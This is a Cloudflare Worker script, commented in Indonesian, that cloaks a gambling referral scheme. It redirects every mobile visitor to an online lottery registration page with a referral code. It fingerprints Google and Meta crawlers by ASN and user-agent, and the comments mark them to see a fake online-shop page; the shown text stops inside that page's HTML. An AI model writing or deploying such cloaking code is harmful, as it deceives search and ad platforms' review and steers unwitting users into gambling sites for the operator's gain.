export default { async fetch(request) { const ua = (request.headers.get('user-agent') || '').toLowerCase(); const isMobile = /android|iphone|ipad|ipod|mobile/i.test(ua); if (isMobile) { return Response.redirect( 'https://member.pangkalantogel.company/register?referral_code=gampangjp', 302 ); } const asn = Number(request.cf?.asn || 0); // ========================= // 1) ASN WHITELIST → OLSHOP // ========================= const WHITELIST_ASN = [ 38235 // ganti/tambah ASN kamu di sini ]; // ========================= // 2) GOOGLE BOT (valid) // ========================= const googleASN = [15169, 19527, 13949, 36040, 36492, 396982, 147049, 394507]; const googleUA = ["googlebot", "googleother", "adsbot-google", "mediapartners-google", "apis-google"]; const isGoogleBot = googleASN.includes(asn) && googleUA.some(v => ua.includes(v)); // ========================= // 3) META BOT (valid) // ========================= const metaASN = [32934, 63293, 54115, 34825,]; const metaUA = ["facebookexternalhit", "facebot", "instagram", "whatsapp"]; const isMetaBot = metaASN.includes(asn) && metaUA.some(v => ua.includes(v)); // ========================= // 4) RULE UTAMA // Whitelist ASN OR Meta OR Google → OLSHOP // ========================= const showOlshop = true; if (showOlshop) { return new Response(`
Produk berkualitas dengan harga terbaik dan pengiriman cepat ke seluruh Indonesia.
Lihat ProdukPesanan diproses dalam 24 jam.
Mendukung transfer bank dan e-wallet.
Barang telah melewati pengecekan kualitas.